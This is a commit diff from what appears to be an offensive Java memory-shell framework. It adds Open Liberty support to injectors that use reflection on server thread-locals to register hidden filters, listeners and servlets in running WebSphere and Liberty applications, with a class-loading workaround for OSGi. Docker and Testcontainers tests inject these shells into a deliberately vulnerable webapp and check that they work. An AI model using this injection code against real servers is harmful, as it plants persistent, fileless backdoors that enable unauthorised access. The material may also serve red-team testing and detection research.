feat: support open-liberty javaee
Dev Deploy / Build Jar (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Probe IntegrationTest / springwebmvc (push) Has been cancelled
Probe IntegrationTest / struct2 (push) Has been cancelled
Probe IntegrationTest / tomcat (push) Has been cancelled
Probe IntegrationTest / glassfish (push) Has been cancelled
Probe IntegrationTest / jbosseap (push) Has been cancelled
Probe IntegrationTest / jetty (push) Has been cancelled
Probe IntegrationTest / payara (push) Has been cancelled
Probe IntegrationTest / wildfly (push) Has been cancelled
Probe IntegrationTest / jbossas (push) Has been cancelled
Probe IntegrationTest / resin (push) Has been cancelled
Probe IntegrationTest / weblogic (push) Has been cancelled
Probe IntegrationTest / websphere7 (push) Has been cancelled
Probe IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled

This commit is contained in:
ReaJason
2025-12-21 18:35:15 +08:00
parent 6388e79f14
commit f585185b30
23 changed files with 4943 additions and 65 deletions
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell.injector.websphere;
import javax.servlet.Filter;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
@@ -14,9 +13,6 @@ import java.util.zip.GZIPInputStream;
/**
* tested v7、v8
* update 2023/07/08
*
* @author ReaJason
*/
public class WebSphereFilterInjector {
@@ -46,7 +42,7 @@ public class WebSphereFilterInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -87,11 +83,32 @@ public class WebSphereFilterInjector {
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
for (Object wsThreadLocal : wsThreadLocals) {
Object[] threadLocals = null;
boolean raw = false;
try {
// WebSphere Liberty
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
} catch (NoSuchFieldException ignored) {
}
if (threadLocals == null) {
// Open Liberty
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
raw = true;
}
for (Object threadLocal : threadLocals) {
if (threadLocal == null) {
continue;
}
Object value = threadLocal;
if (raw) {
value = getFieldValue(threadLocal, "value");
}
if (value == null) {
continue;
}
// for websphere 7.x
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
if (value.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFieldValue(value, "stack");
for (Object stack : stackList) {
try {
Object config = getFieldValue(stack, "config");
@@ -99,8 +116,9 @@ public class WebSphereFilterInjector {
} catch (Exception ignored) {
}
}
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
}
}
return contexts;
@@ -132,43 +150,31 @@ public class WebSphereFilterInjector {
@SuppressWarnings("unchecked")
public void inject(Object context, Object filter) throws Exception {
Object webAppConfiguration = getFieldValue(context, "config");
if (invokeMethod(webAppConfiguration, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
Object webAppConfig = getFieldValue(context, "config");
if (invokeMethod(webAppConfig, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
return;
}
ClassLoader classLoader = context.getClass().getClassLoader();
Class<?> filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping");
Class<?> iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig");
Class<?> iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
Class<?> filterMappingClass = loadClass(context.getClass(), "com.ibm.ws.webcontainer.filter.FilterMapping");
Class<?> iFilterConfigClass = loadClass(context.getClass(), "com.ibm.wsspi.webcontainer.filter.IFilterConfig");
Class<?> iServletConfigClass = loadClass(context.getClass(), "com.ibm.wsspi.webcontainer.servlet.IServletConfig");
Object filterManager = getFieldValue(context, "filterManager");
try {
// v8
Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
// com.ibm.ws.webcontainer.webapp.WebApp.commonAddFilter
setFieldValue(context, "initialized", false);
Object filterConfig = invokeMethod(context, "commonAddFilter", new Class[]{String.class, String.class, Filter.class, Class.class}, new Object[]{getClassName(), getClassName(), filter, filter.getClass()});
Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
setFieldValue(context, "initialized", true);
// com.ibm.ws.webcontainer.filter.WebAppFilterManager.addFilterMapping
invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
// com.ibm.ws.webcontainer.filter.WebAppFilterManager#_loadFilter
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()});
} catch (Exception e) {
// v7
Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{filter.getClass().getName()});
setFieldValue(filterConfig, "dispatchMode", new int[]{0});
invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{getClassName()});
setFieldValue(filterConfig, "name", getClassName());
invokeMethod(context, "addMappingFilter", new Class[]{String.class, iFilterConfigClass}, new Object[]{getUrlPattern(), filterConfig});
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()});
}
Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
invokeMethod(webAppConfig, "addFilterInfo", new Class[]{iFilterConfigClass}, new Object[]{filterConfig});
// 清除缓存
invokeMethod(getFieldValue(filterManager, "chainCache"), "clear", null, null);
Object chainCache = getFieldValue(filterManager, "chainCache");
try {
invokeMethod(chainCache, "clear", null, null);
} catch (Exception e) {
invokeMethod(getFieldValue(chainCache, "chainCacheMap"), "clear", null, null);
}
}
@Override
@@ -176,6 +182,19 @@ public class WebSphereFilterInjector {
return msg;
}
// bypass osgi
public static Class<?> loadClass(Class<?> context, String className) throws ClassNotFoundException {
if (context.equals(Object.class)) {
throw new ClassNotFoundException(className);
}
ClassLoader loader = context.getClassLoader();
try {
return loader.loadClass(className);
} catch (ClassNotFoundException e) {
return loadClass(context.getSuperclass(), className);
}
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
Exception {
@@ -38,7 +38,7 @@ public class WebSphereListenerInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -75,11 +75,32 @@ public class WebSphereListenerInjector {
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
for (Object wsThreadLocal : wsThreadLocals) {
Object[] threadLocals = null;
boolean raw = false;
try {
// WebSphere Liberty
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
} catch (NoSuchFieldException ignored) {
}
if (threadLocals == null) {
// Open Liberty
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
raw = true;
}
for (Object threadLocal : threadLocals) {
if (threadLocal == null) {
continue;
}
Object value = threadLocal;
if (raw) {
value = getFieldValue(threadLocal, "value");
}
if (value == null) {
continue;
}
// for websphere 7.x
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
if (value.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFieldValue(value, "stack");
for (Object stack : stackList) {
try {
Object config = getFieldValue(stack, "config");
@@ -87,8 +108,9 @@ public class WebSphereListenerInjector {
} catch (Exception ignored) {
}
}
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
}
}
return contexts;
@@ -6,7 +6,9 @@ import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
import java.util.HashSet;
import java.util.Properties;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
@@ -39,7 +41,7 @@ public class WebSphereServletInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -76,11 +78,32 @@ public class WebSphereServletInjector {
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
for (Object wsThreadLocal : wsThreadLocals) {
Object[] threadLocals = null;
boolean raw = false;
try {
// WebSphere Liberty
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
} catch (NoSuchFieldException ignored) {
}
if (threadLocals == null) {
// Open Liberty
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
raw = true;
}
for (Object threadLocal : threadLocals) {
if (threadLocal == null) {
continue;
}
Object value = threadLocal;
if (raw) {
value = getFieldValue(threadLocal, "value");
}
if (value == null) {
continue;
}
// for websphere 7.x
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
if (value.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFieldValue(value, "stack");
for (Object stack : stackList) {
try {
Object config = getFieldValue(stack, "config");
@@ -88,8 +111,9 @@ public class WebSphereServletInjector {
} catch (Exception ignored) {
}
}
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
}
}
return contexts;
@@ -50,7 +50,8 @@ public class ServerProbe {
if (System.getProperty("weblogic.home") != null) {
return ret = "WebLogic";
}
if (System.getProperty("was.install.root") != null) {
if (System.getProperty("was.install.root") != null
|| System.getProperty("wlp.install.dir") != null) {
return ret = "WebSphere";
}
if (System.getProperty("resin.home") != null) {
@@ -22,17 +22,35 @@ public class WebSphereWriter {
return;
}
try {
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
for (Object wsThreadLocal : wsThreadLocals) {
if (wsThreadLocal == null) {
Object[] threadLocals = null;
boolean raw = false;
try {
// WebSphere Liberty
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
} catch (NoSuchFieldException ignored) {
}
if (threadLocals == null) {
// Open Liberty
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
raw = true;
}
for (Object threadLocal : threadLocals) {
if (threadLocal == null) {
continue;
}
Object value = threadLocal;
if (raw) {
value = getFieldValue(threadLocal, "value");
}
if (value == null) {
continue;
}
// com.ibm.wsspi.webcontainer.WebContainerRequestState
if (wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {
if (value.getClass().getName().endsWith("WebContainerRequestState")) {
// com.ibm.ws.webcontainer.srt.SRTServletRequest
Object request = getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest");
Object request = getFieldValue(value, "currentThreadsIExtendedRequest");
// com.ibm.ws.webcontainer.srt.SRTServletResponse
Object response = getFieldValue(wsThreadLocal, "currentThreadsIExtendedResponse");
Object response = getFieldValue(value, "currentThreadsIExtendedResponse");
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
String result = "";
@@ -0,0 +1,11 @@
services:
open-liberty-18:
image: open-liberty:18.0.0.4-webProfile8
platform: linux/amd64
ports:
- "9080:9080"
- "5005:5005"
environment:
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/config/dropins/app.war
@@ -0,0 +1,11 @@
services:
open-liberty-20:
image: open-liberty:20.0.0.12-full-java8-openj9
platform: linux/amd64
ports:
- "9080:9080"
- "5005:5005"
environment:
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/config/dropins/app.war
@@ -0,0 +1,11 @@
services:
open-liberty-22:
image: open-liberty:22.0.0.12-full-java11-openj9
platform: linux/amd64
ports:
- "9080:9080"
- "5005:5005"
environment:
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp-jakarta.war:/config/dropins/app.war
@@ -0,0 +1,11 @@
services:
open-liberty-25:
image: open-liberty:25.0.0.12-full-java17-openj9
platform: linux/amd64
ports:
- "9080:9080"
- "5005:5005"
environment:
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/config/dropins/app.war
+1 -1
View File
@@ -1,2 +1,2 @@
#!/bin/bash
pgrep -f WSLauncher | tr -d '\n'
pgrep -f 'WSLauncher|ws-server.jar' | tr -d '\n'
@@ -0,0 +1,97 @@
package com.reajason.javaweb.integration.memshell.websphere;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.BindMode;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.time.Duration;
import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2024/12/21
*/
@Testcontainers
@Slf4j
public class OpenLiberty18ContainerTest {
public static final String imageName = "open-liberty:18.0.0.4-webProfile8";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withFileSystemBind(warFile.getFilesystemPath(), "/config/dropins/app.war", BindMode.READ_WRITE)
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
.withExposedPorts(9080)
.withPrivilegedMode(true);
static Stream<Arguments> casesProvider() {
String server = Server.WebSphere;
List<String> supportedShellTypes = List.of(
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.WAS_AGENT_FILTER_MANAGER
);
List<Packers> testPackers = List.of(Packers.JSP);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
public static String getUrl(GenericContainer<?> container) {
String host = container.getHost();
int port = container.getMappedPort(9080);
String url = "http://" + host + ":" + port + "/app";
log.info("container started, app url is : {}", url);
return url;
}
@ParameterizedTest
@ValueSource(strings = {ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.WebSphere, shellType, Opcodes.V1_6);
}
}
@@ -0,0 +1,97 @@
package com.reajason.javaweb.integration.memshell.websphere;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.BindMode;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.time.Duration;
import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2024/12/21
*/
@Testcontainers
@Slf4j
public class OpenLiberty20ContainerTest {
public static final String imageName = "open-liberty:20.0.0.12-full-java8-openj9";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withFileSystemBind(warFile.getFilesystemPath(), "/config/dropins/app.war", BindMode.READ_WRITE)
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
.withExposedPorts(9080)
.withPrivilegedMode(true);
static Stream<Arguments> casesProvider() {
String server = Server.WebSphere;
List<String> supportedShellTypes = List.of(
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.WAS_AGENT_FILTER_MANAGER
);
List<Packers> testPackers = List.of(Packers.JSP);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
public static String getUrl(GenericContainer<?> container) {
String host = container.getHost();
int port = container.getMappedPort(9080);
String url = "http://" + host + ":" + port + "/app";
log.info("container started, app url is : {}", url);
return url;
}
@ParameterizedTest
@ValueSource(strings = {ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.WebSphere, shellType, Opcodes.V1_6);
}
}
@@ -0,0 +1,97 @@
package com.reajason.javaweb.integration.memshell.websphere;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.BindMode;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.time.Duration;
import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2024/12/21
*/
@Testcontainers
@Slf4j
public class OpenLiberty22ContainerTest {
public static final String imageName = "open-liberty:22.0.0.12-full-java11-openj9";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withFileSystemBind(warFile.getFilesystemPath(), "/config/dropins/app.war", BindMode.READ_WRITE)
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
.withExposedPorts(9080)
.withPrivilegedMode(true);
static Stream<Arguments> casesProvider() {
String server = Server.WebSphere;
List<String> supportedShellTypes = List.of(
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.WAS_AGENT_FILTER_MANAGER
);
List<Packers> testPackers = List.of(Packers.JSP);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V11, packer, container, python);
}
public static String getUrl(GenericContainer<?> container) {
String host = container.getHost();
int port = container.getMappedPort(9080);
String url = "http://" + host + ":" + port + "/app";
log.info("container started, app url is : {}", url);
return url;
}
@ParameterizedTest
@ValueSource(strings = {ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.WebSphere, shellType, Opcodes.V11);
}
}
@@ -0,0 +1,97 @@
package com.reajason.javaweb.integration.memshell.websphere;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.BindMode;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.time.Duration;
import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2024/12/21
*/
@Testcontainers
@Slf4j
public class OpenLiberty25ContainerTest {
public static final String imageName = "open-liberty:25.0.0.12-full-java17-openj9";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withFileSystemBind(warFile.getFilesystemPath(), "/config/dropins/app.war", BindMode.READ_WRITE)
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
.withExposedPorts(9080)
.withPrivilegedMode(true);
static Stream<Arguments> casesProvider() {
String server = Server.WebSphere;
List<String> supportedShellTypes = List.of(
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.WAS_AGENT_FILTER_MANAGER
);
List<Packers> testPackers = List.of(Packers.JSP);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V17, packer, container, python);
}
public static String getUrl(GenericContainer<?> container) {
String host = container.getHost();
int port = container.getMappedPort(9080);
String url = "http://" + host + ":" + port + "/app";
log.info("container started, app url is : {}", url);
return url;
}
@ParameterizedTest
@ValueSource(strings = {ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.WebSphere, shellType, Opcodes.V17);
}
}
@@ -0,0 +1,81 @@
package com.reajason.javaweb.integration.probe.websphere;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.BindMode;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.time.Duration;
import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
* @since 2024/12/21
*/
@Testcontainers
@Slf4j
public class OpenLiberty18ContainerTest {
public static final String imageName = "open-liberty:18.0.0.4-webProfile8";
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
